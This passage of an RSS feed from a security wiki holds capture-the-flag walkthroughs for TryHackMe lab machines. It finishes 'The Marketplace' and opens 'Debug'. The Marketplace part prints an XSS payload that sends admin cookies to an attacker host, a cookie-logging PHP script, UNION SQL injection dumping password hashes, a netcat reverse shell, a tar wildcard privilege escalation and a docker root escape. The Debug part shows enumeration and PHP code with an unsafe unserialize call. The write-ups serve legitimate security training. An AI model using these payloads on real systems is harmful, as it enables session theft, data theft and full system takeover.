</p><p><span class="mw-default-size" typeof="mw:File"><a href="https://www.aldeid.com/wiki/File:TryHackMe-The-Marketplace-xss.png" class="mw-file-description"><img src="/w/images/0/01/TryHackMe-The-Marketplace-xss.png" decoding="async" width="823" height="637" class="mw-file-element"></a></span>
</p><p><span class="mw-default-size" typeof="mw:File"><a href="https://www.aldeid.com/wiki/File:TryHackMe-The-Marketplace-xss2.png" class="mw-file-description"><img src="/w/images/c/c7/TryHackMe-The-Marketplace-xss2.png" decoding="async" width="822" height="373" class="mw-file-element"></a></span>
</p>
<div class="mw-heading mw-heading2"><h2 id="Stealing_the_admin_cookie">Stealing the admin cookie</h2></div>
<p>We can take advantage of the XSS vulnerability to create a new listing, and report the listing to the admins. Once an admin will review our listing (we have seen previously that there is kind of a cron job that simulates this action), we will be able to steal his session using <code>grabber.php</code>.
</p><p>Create a new listing and post the following content:
</p>
<pre>&lt;script&gt;document.location='http://10.8.50.72:8000/grabber.php?c='+document.cookie&lt;/script&gt;</pre>
<p>Now, create <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#data-grabber-for-xss">grabber.php</a> as follows:
</p>
<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><span></span><span class="x">$ cat &gt; grabber.php &lt;&lt; EOF</span>
<span class="cp">&lt;?php</span>
<span class="nv">$cookie</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'c'</span><span class="p">];</span>
<span class="nv">$fp</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s1">'cookies.txt'</span><span class="p">,</span> <span class="s1">'a+'</span><span class="p">);</span>
<span class="nb">fwrite</span><span class="p">(</span><span class="nv">$fp</span><span class="p">,</span> <span class="s1">'Cookie:'</span> <span class="o">.</span><span class="nv">$cookie</span><span class="o">.</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="p">);</span>
<span class="nb">fclose</span><span class="p">(</span><span class="nv">$fp</span><span class="p">);</span>
<span class="cp">?&gt;</span>
<span class="x">EOF</span>
</pre></div>
<p>Then run a listener (<code>nc -nlvp 8000</code>) and report the listing you’ve created to the admin (e.g.&nbsp;<code><a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://10.10.4.48/report/3">http://10.10.4.48/report/3</a></code>).
</p><p>In your listener, you should have a stolen copy of the admin’s cookie:
</p>
<pre>┌──(kali㉿kali)-[/data/The_Marketplace/files]
└─$ nc -nlvp 8000
listening on [any] 8000 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.4.48] 36374
GET /grabber.php?c=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig HTTP/1.1
Host: 10.8.50.72:8000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost:3000/item/5
Accept-Encoding: gzip, deflate
Accept-Language: en-US</pre>
<p>Now, browse the <code>/admin</code> location, intercept the request in Burp Suite and replace the token with the one from the admin:
</p>
<pre>GET /admin HTTP/1.1
Host: 10.10.4.48
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig
Upgrade-Insecure-Requests: 1</pre>
<p>We are now connected as admin:
</p><p><span class="mw-default-size" typeof="mw:File"><a href="https://www.aldeid.com/wiki/File:TryHackMe-The-Marketplace-admin_token.png" class="mw-file-description"><img src="/w/images/2/29/TryHackMe-The-Marketplace-admin_token.png" decoding="async" width="1575" height="492" class="mw-file-element"></a></span>
</p><p>Flag: <code>THM{c37a63895910e478f28669b048c348d5}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="What_is_flag_2?_(User.txt)"><span id="What_is_flag_2.3F_.28User.txt.29"></span>What is flag 2? (User.txt)</h1></div>
<div class="mw-heading mw-heading2"><h2 id="SQLi_vulnerability">SQLi vulnerability</h2></div>
<p>Analyzing the user listing, we notice that all links have the following form: <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://10.10.4.48/admin?user=1">http://10.10.4.48/admin?user=1</a>
</p><p>Replacing the numerical ID with a quote sign will trigger the following error:
</p>
<pre>Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to
use near ''' at line 1</pre>
<div class="mw-heading mw-heading2"><h2 id="Exploit_the_SQL_injection">Exploit the SQL injection</h2></div>
<p>I failed to use sqlmap, as it failed with a 403 error code each time. Let’s try the manual way:
</p>
<div class="mw-heading mw-heading3"><h3 id="Database_and_tables">Database and tables</h3></div>
<p><b>Database identification:</b>
</p>
<pre>$ curl -s --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig" \
http://10.10.4.48/admin?user=`urlencode "0 UNION SELECT 1,database(),3,4"` | tail

      &lt;h1 style="text-align: center"&gt;User 1&lt;/h1&gt;
      &lt;div&gt;
          User marketplace &lt;br /&gt;
          ID: 1 &lt;br /&gt;
          Is administrator: true &lt;br /&gt;
       &lt;button onclick="this.disabled = true"&gt;Delete user&lt;/button&gt;
      &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
<p>Database: <code>marketplace</code>
</p><p><b>Tables identification</b>
</p>
<pre>$ curl -s --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig" \
http://10.10.4.48/admin?user=`urlencode "0 UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema='marketplace'"` | tail 

      &lt;h1 style="text-align: center"&gt;User 1&lt;/h1&gt;
      &lt;div&gt;
          User items,messages,users &lt;br /&gt;
          ID: 1 &lt;br /&gt;
          Is administrator: true &lt;br /&gt;
       &lt;button onclick="this.disabled = true"&gt;Delete user&lt;/button&gt;
      &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
<p>Tables: <code>items</code>, <code>messages</code>, <code>users</code>
</p>
<div class="mw-heading mw-heading3"><h3 id="Users_table">Users table</h3></div>
<p><b>Users table columns</b>
</p>
<pre>$ curl -s --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig" \
http://10.10.4.48/admin?user=`urlencode "0 UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_schema='marketplace' AND table_name='users'"` | tail

      &lt;h1 style="text-align: center"&gt;User 1&lt;/h1&gt;
      &lt;div&gt;
          User id,isAdministrator,password,username &lt;br /&gt;
          ID: 1 &lt;br /&gt;
          Is administrator: true &lt;br /&gt;
       &lt;button onclick="this.disabled = true"&gt;Delete user&lt;/button&gt;
      &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
<p>Users table columns:
</p>
<ul><li>id</li>
<li>isAdministrator</li>
<li>password</li>
<li>username</li></ul>
<p><b>Dump users table</b>
</p><p>Usernames:
</p>
<pre>└─$ curl -s --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig" \
http://10.10.4.48/admin?user=`urlencode "0 UNION SELECT 1,GROUP_CONCAT(username),3,4 FROM marketplace.users"` | tail

      &lt;h1 style="text-align: center"&gt;User 1&lt;/h1&gt;
      &lt;div&gt;
          User jake,michael,system,test &lt;br /&gt;
          ID: 1 &lt;br /&gt;
          Is administrator: true &lt;br /&gt;
       &lt;button onclick="this.disabled = true"&gt;Delete user&lt;/button&gt;
      &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
<p>Passwords:
</p>
<pre>$ curl -s --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig" \
http://10.10.4.48/admin?user=`urlencode "0 UNION SELECT 1,GROUP_CONCAT(password),3,4 FROM marketplace.users"` | tail

      &lt;h1 style="text-align: center"&gt;User 1&lt;/h1&gt;
      &lt;div&gt;
          User $2b$10$83pRYaR/d4ZWJVEex.lxu.Xs1a/TNDBWIUmB4z.R0DT0MSGIGzsgW,$2b$10$yaYKN53QQ6ZvPzHGAlmqiOwGt8DXLAO5u2844yUlvu2EXwQDGf/1q,$2b$10$/DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG,$2b$10$oX4eZCpFWnJV0Xj.OemYqOy4RAepVk.Tu56TvYqB/FpPEOKf00tOC &lt;br /&gt;
          ID: 1 &lt;br /&gt;
          Is administrator: true &lt;br /&gt;
       &lt;button onclick="this.disabled = true"&gt;Delete user&lt;/button&gt;
      &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
<p>I tried to brute force the following hashes, but it failed:
</p>
<pre>jake:$2b$10$83pRYaR/d4ZWJVEex.lxu.Xs1a/TNDBWIUmB4z.R0DT0MSGIGzsgW
michael:$2b$10$yaYKN53QQ6ZvPzHGAlmqiOwGt8DXLAO5u2844yUlvu2EXwQDGf/1q
system:$2b$10$/DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG
test:$2b$10$oX4eZCpFWnJV0Xj.OemYqOy4RAepVk.Tu56TvYqB/FpPEOKf00tOC</pre>
<div class="mw-heading mw-heading3"><h3 id="Messages_table">Messages table</h3></div>
<p><b>Messages table columns</b>
</p>
<pre>$ curl -s --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig" \
http://10.10.4.48/admin?user=`urlencode "0 UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_schema='marketplace' AND table_name='messages'"` | tail

      &lt;h1 style="text-align: center"&gt;User 1&lt;/h1&gt;
      &lt;div&gt;
          User id,is_read,message_content,user_from,user_to &lt;br /&gt;
          ID: 1 &lt;br /&gt;
          Is administrator: true &lt;br /&gt;
       &lt;button onclick="this.disabled = true"&gt;Delete user&lt;/button&gt;
      &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
<p><b>Dump the messages</b>
</p>
<pre>$ curl -s --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjE2NzQ1NjN9.SZDjFMO2_KIMpIoLWuD5Zt3fKggTM8AoTS7plL32uig" \
http://10.10.4.48/admin?user=`urlencode "0 UNION SELECT 1,GROUP_CONCAT(message_content),3,4 FROM marketplace.messages"` | tail
      &lt;div&gt;
          User Hello!
An automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password.
Your new password is: @b_ENXkGYUCAv3zJ,Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace!,Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace!,Thank you for your report. We have reviewed the listing and found nothing that violates our rules.,Thank you for your report. We have been unable to review the listing at this time. Something may be blocking our ability to view it, such as alert boxes, which are blocked in our employee&amp;#39;s browsers. &lt;br /&gt;
          ID: 1 &lt;br /&gt;
          Is administrator: true &lt;br /&gt;
       &lt;button onclick="this.disabled = true"&gt;Delete user&lt;/button&gt;
      &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
<p>We have a password: <code>@b_ENXkGYUCAv3zJ</code>
</p>
<div class="mw-heading mw-heading2"><h2 id="Connect_as_jake">Connect as jake</h2></div>
<p>We can now connect as <code>jake</code> with the password found just above against the SSH service.
</p>
<pre>jake@the-marketplace:~$ cat user.txt 
THM{c3648ee7af1369676e3e4b15da6dc0b4}</pre>
<div class="mw-heading mw-heading1"><h1 id="What_is_flag_3?_(Root.txt)"><span id="What_is_flag_3.3F_.28Root.txt.29"></span>What is flag 3? (Root.txt)</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Lateral_move_(jake_->_michael)"><span id="Lateral_move_.28jake_-.3E_michael.29"></span>Lateral move (jake -&gt; michael)</h2></div>
<p>Checking the other users reveals that it may be interesting to move to <code>michael</code>, as he his in a <code>docker</code> group:
</p>
<pre>jake@the-marketplace:~/tmp$ id michael
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)</pre>
<p>Searching for files owned by <code>michael</code> will reveal an interesting <code>backup.sh</code> script:
</p>
<pre>jake@the-marketplace:/home/marketplace$ find / -type f -user michael -exec ls -l {} + 2&gt;/dev/null
-rw-r--r-- 1 michael michael  220 Aug 23  2020 /home/michael/.bash_logout
-rw-r--r-- 1 michael michael 3771 Aug 23  2020 /home/michael/.bashrc
-rw-r--r-- 1 michael michael  807 Aug 23  2020 /home/michael/.profile
-rwxr-xr-x 1 michael michael   73 Aug 23  2020 /opt/backups/backup.sh</pre>
<p>This script compresses files using <code>tar</code> and a wildcard. Checking on GTFOBins, we know we can exploit this.
</p>
<pre>jake@the-marketplace:/home/marketplace$ cat /opt/backups/backup.sh 
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *</pre>
<p>Checking our privileges will reveal that we can run this backup script as <code>michael</code> without password:
</p>
<pre>jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on the-marketplace:
    (michael) NOPASSWD: /opt/backups/backup.sh</pre>
<p>Start a listener (<code>nc -nlvp 4444</code>) and run the following commands on the target:
</p>
<pre>jake@the-marketplace:~$ cat &gt; /opt/backups/shell.sh &lt;&lt; EOF
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc 10.8.50.72 4444 &gt;/tmp/f
EOF
jake@the-marketplace:~$ chmod +x /opt/backups/shell.sh
jake@the-marketplace:~$ touch "/opt/backups/--checkpoint=1"
jake@the-marketplace:~$ touch "/opt/backups/--checkpoint-action=exec=sh shell.sh"
jake@the-marketplace:~$ cd /opt/backups/
jake@the-marketplace:~$ sudo -u michael /opt/backups/backup.sh</pre>
<p>On the listener, a shell is now spawned, and we are now connected as <code>michael</code>:
</p>
<pre>┌──(kali㉿kali)-[/data/The_Marketplace/files]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.4.48] 46366
michael@the-marketplace:/opt/backups$ id
id
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)</pre>
<div class="mw-heading mw-heading2"><h2 id="docker">docker</h2></div>
<p>Listing the images, we see that alpine is available:
</p>
<pre>michael@the-marketplace:/opt/backups$ docker image ls
docker image ls
REPOSITORY                   TAG                 IMAGE ID            CREATED             SIZE
themarketplace_marketplace   latest              6e3d8ac63c27        8 months ago        2.16GB
nginx                        latest              4bb46517cac3        9 months ago        133MB
node                         lts-buster          9c4cc2688584        9 months ago        886MB
mysql                        latest              0d64f46acfd1        9 months ago        544MB
alpine                       latest              a24bb4013296        11 months ago       5.57MB</pre>
<p>Checking on <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://gtfobins.github.io/gtfobins/docker/">GTFOBins</a>, we see that we can exploit it to gain a root shell:
</p>
<pre>michael@the-marketplace:/opt/backups$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
michael@the-marketplace:/opt/backups$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
t /mnt shn -v /:/mnt --rm -it alpine chroot
# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)</pre>
<div class="mw-heading mw-heading2"><h2 id="Root_flag">Root flag</h2></div>
<pre># cat /root/root.txt 
cat /root/root.txt
THM{d4f76179c80c0dcf46e0f8e43c9abd62}</pre>
<!-- 
NewPP limit report
Cached time: 20260416101058
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.035 seconds
Real time usage: 0.367 seconds
Preprocessor visited node count: 184/1000000
Revision size: 17698/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 1/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 13656/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7008:|#|:idhash:canonical and timestamp 20260416101058 and revision id 38742. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
        <item>
            <title>TryHackMe > Debug</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-Debug</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-Debug</comments>
            <pubDate>Thu, 20 May 2021 16:13:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-Debug</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-Debug.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>Linux Machine CTF! You’ll learn about enumeration, finding hidden password files and how to exploit php deserialization!
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#User_flag"><span class="tocnumber">1</span> <span class="toctext">User flag</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Open_ports"><span class="tocnumber">1.1</span> <span class="toctext">Open ports</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#Web_enumeration"><span class="tocnumber">1.2</span> <span class="toctext">Web enumeration</span></a></li>
<li class="toclevel-2 tocsection-4"><a href="#The_index.php.bak_file"><span class="tocnumber">1.3</span> <span class="toctext">The index.php.bak file</span></a></li>
<li class="toclevel-2 tocsection-5"><a href="#PHP_serialization_exploit"><span class="tocnumber">1.4</span> <span class="toctext">PHP serialization exploit</span></a></li>
<li class="toclevel-2 tocsection-6"><a href="#James_password"><span class="tocnumber">1.5</span> <span class="toctext">James password</span></a></li>
<li class="toclevel-2 tocsection-7"><a href="#User_flag_2"><span class="tocnumber">1.6</span> <span class="toctext">User flag</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-8"><a href="#Root_flag"><span class="tocnumber">2</span> <span class="toctext">Root flag</span></a>
<ul>
<li class="toclevel-2 tocsection-9"><a href="#Message_from_root"><span class="tocnumber">2.1</span> <span class="toctext">Message from root</span></a></li>
<li class="toclevel-2 tocsection-10"><a href="#The_motd_service"><span class="tocnumber">2.2</span> <span class="toctext">The motd service</span></a></li>
<li class="toclevel-2 tocsection-11"><a href="#Reverse_shell_and_root_flag"><span class="tocnumber">2.3</span> <span class="toctext">Reverse shell and root flag</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="User_flag">User flag</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Open_ports">Open ports</h2></div>
<p>Nmap reveals 2 open ports:
</p>
<pre>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
|   256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
|_  256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre>
<div class="mw-heading mw-heading2"><h2 id="Web_enumeration">Web enumeration</h2></div>
<p>Gobuster reveals a hidden <code>/backup</code> folder:
</p>
<pre>┌──(kali㉿kali)-[/data/Debug]
└─$ gobuster dir -u http://10.10.196.165 -x php,txt,bak,old,htm,html,zip,tar -w /usr/share/wordlists/dirb/common.txt

[REDACTED]

/backup               (Status: 301) [Size: 315] [--&gt; http://10.10.196.165/backup/]
/grid                 (Status: 301) [Size: 313] [--&gt; http://10.10.196.165/grid/]  
/index.html           (Status: 200) [Size: 11321]                                 
/index.php            (Status: 200) [Size: 5732]                                  
/index.php            (Status: 200) [Size: 5732]                                  
/index.html           (Status: 200) [Size: 11321]                                 
/javascripts          (Status: 301) [Size: 320] [--&gt; http://10.10.196.165/javascripts/]
/javascript           (Status: 301) [Size: 319] [--&gt; http://10.10.196.165/javascript/] 
/message.txt          (Status: 200) [Size: 282]                                        
/server-status        (Status: 403) [Size: 278]                                        
                                                                                       
===============================================================
2021/05/19 15:51:08 Finished
===============================================================</pre>
<div class="mw-heading mw-heading2"><h2 id="The_index.php.bak_file">The index.php.bak file</h2></div>
<p>Browsing this directory in a browser will show several files, one of which being a backup of <code>index.php</code>.
</p>
<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><span></span><span class="x">┌──(kali㉿kali)-[/data/Debug/files]</span>
<span class="x">└─$ curl -s http://10.10.196.165/backup/index.php.bak</span>
<span class="x">&lt;!doctype html&gt;</span>
<span class="x">&lt;html lang="en" class="no-js"&gt;</span>
<span class="x">&lt;head&gt;</span>
<span class="x">  &lt;meta charset="utf-8"&gt;</span>
<span class="x">  &lt;title&gt;Base&lt;/title&gt;</span>
<span class="x">  &lt;meta name="description" content=""&gt;</span>
<span class="x">  &lt;meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0"&gt;</span>
<span class="x">  &lt;link rel="stylesheet" media="screen" href="style.css"&gt;</span>
<span class="x">&lt;/head&gt;</span>
<span class="x">&lt;body&gt;</span>

<span class="x">&lt;div class="container"&gt;</span>


<span class="x">[REDACTED]</span>


<span class="x">  &lt;form action="" method="get"&gt;</span>
<span class="x">    &lt;fieldset&gt;</span>
<span class="x">      &lt;legend&gt;Form Submit (Your message will be saved on the server and will be reviewed later by our administrators)&lt;/legend&gt;</span>
<span class="x">      &lt;div class="field"&gt;</span>
<span class="x">        &lt;label for="name"&gt;Field Name&lt;/label&gt;</span>
<span class="x">        &lt;input type="text" name="name" id="name"&gt;</span>
<span class="x">      &lt;/div&gt;</span>
<span class="x">      &lt;div class="field"&gt;</span>
<span class="x">        &lt;label for="email"&gt;Email Field&lt;/label&gt;</span>
<span class="x">        &lt;input type="text" name="email" id="email"&gt;</span>
<span class="x">      &lt;/div&gt;</span>
<span class="x">      &lt;div class="field"&gt;</span>
<span class="x">        &lt;label for="textarea"&gt;Textarea&lt;/label&gt;</span>
<span class="x">        &lt;textarea rows="10" cols="30" name="comments" id="comments"&gt;&lt;/textarea&gt;</span>
<span class="x">      &lt;/div&gt;</span>


<span class="x">[REDACTED]</span>


<span class="x">      &lt;div class="field"&gt;</span>
<span class="x">        &lt;input class="button" type="submit" value="Submit"&gt;</span>
<span class="x">        &lt;input class="button" type="reset" value="Reset"&gt;</span>
<span class="x">      &lt;/div&gt;</span>
<span class="x">    &lt;/fieldset&gt;</span>
<span class="x">  &lt;/form&gt;</span>

<span class="cp">&lt;?php</span>

<span class="k">class</span> <span class="nc">FormSubmit</span> <span class="p">{</span>

  <span class="k">public</span> <span class="nv">$form_file</span> <span class="o">=</span> <span class="s1">'message.txt'</span><span class="p">;</span>
  <span class="k">public</span> <span class="nv">$message</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>

  <span class="k">public</span> <span class="k">function</span> <span class="nf">SaveMessage</span><span class="p">()</span> <span class="p">{</span>

    <span class="nv">$NameArea</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">];</span> 
    <span class="nv">$EmailArea</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'email'</span><span class="p">];</span>
    <span class="nv">$TextArea</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'comments'</span><span class="p">];</span>

    <span class="nv">$this</span><span class="o">-&gt;</span> <span class="na">message</span> <span class="o">=</span> <span class="s2">"Message From&nbsp;: "</span> <span class="o">.</span> <span class="nv">$NameArea</span> <span class="o">.</span> <span class="s2">" || From Email&nbsp;: "</span> <span class="o">.</span> <span class="nv">$EmailArea</span> <span class="o">.</span> <span class="s2">" || Comment&nbsp;: "</span> <span class="o">.</span> <span class="nv">$TextArea</span> <span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>

  <span class="p">}</span>

  <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span> <span class="p">{</span>

    <span class="nb">file_put_contents</span><span class="p">(</span><span class="no">__DIR__</span> <span class="o">.</span> <span class="s1">'/'</span> <span class="o">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">form_file</span><span class="p">,</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">message</span><span class="p">,</span><span class="nx">FILE_APPEND</span><span class="p">);</span>
    <span class="k">echo</span> <span class="s1">'Your submission has been successfully saved!'</span><span class="p">;</span>

  <span class="p">}</span>

<span class="p">}</span>

<span class="c1">// Leaving this for now... only for debug purposes... do not touch!</span>

<span class="nv">$debug</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'debug'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
<span class="nv">$messageDebug</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$debug</span><span class="p">);</span>

<span class="nv">$application</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FormSubmit</span><span class="p">;</span>
<span class="nv">$application</span> <span class="o">-&gt;</span> <span class="na">SaveMessage</span><span class="p">();</span>


<span class="cp">?&gt;</span>


<span class="x">[REDACTED]</span>


<span class="x">&lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"&gt;&lt;/script&gt;</span>
<span class="x">&lt;script src="javascripts/default.js"&gt;&lt;/script&gt;</span>

<span class="x">&lt;/body&gt;</span>
<span class="x">&lt;/html&gt;</span>
</pre></div>
<p>What is interesting in this code is that the <code>__destruct</code> function of the <code>FormSubmit</code> class is creating the file mentionned in the <code>$form_file</code> variable, with the content of the <code>$message</code> variable.
</p><p>However, there is a hidden <code>debug</code> parameter in the code, which is passed to the <code>unserialize</code> function, which we can abuse, as shown below.
</p>
<div class="mw-heading mw-heading2"><h2 id="PHP_serialization_exploit">PHP serialization exploit</h2></div>
<p>As explained by <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection">OWASP</a>, “since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope”. This is explained here: <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="https://notsosecure.com/remote-code-execution-via-php-unserialize/">https://notsosecure.com/remote-code-execution-via-php-unserialize/</a>.
